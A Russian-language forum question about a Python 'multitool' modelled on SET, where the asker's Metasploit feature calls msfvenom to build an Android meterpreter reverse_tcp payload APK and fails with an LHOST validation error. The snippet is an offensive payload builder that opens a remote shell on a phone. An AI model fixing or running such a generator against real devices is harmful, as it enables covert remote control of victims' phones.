Я работаю над мультитулом Python, и функция Metasploit работает не так, как задумано.Он должен работать аналогично SET.
lhost = input("Enter your IP: ")
apkName = input("Enter what you want the file to be named: ")
#WINDOWS METASPLOIT
if platform.system() == 'Windows':
try:
os.chdir('C:/metasploit-framework/bin')
except FileNotFoundError:
print("You don't have Metasploit installed")
print(os.system('dir'))
os.system(
'msfvenom -p android/meterpreter/reverse_tcp lhost=' + lhost + 'LPORT=444' + ' R> C:/metasploit-framework/' + str(apkName) + '.apk')
Это должно вывести нормальную информацию о полезной нагрузке msfconsole после ее генерации.но вместо этого он выводит следующее:
[-] Платформа не была выбрана, выбрав Msf :: Module :: Platform :: Android из полезной нагрузки [-] Не выбрана арка, выбрав arch: dalvik изОшибка полезной нагрузки: не удалось проверить следующие параметры: LHOST.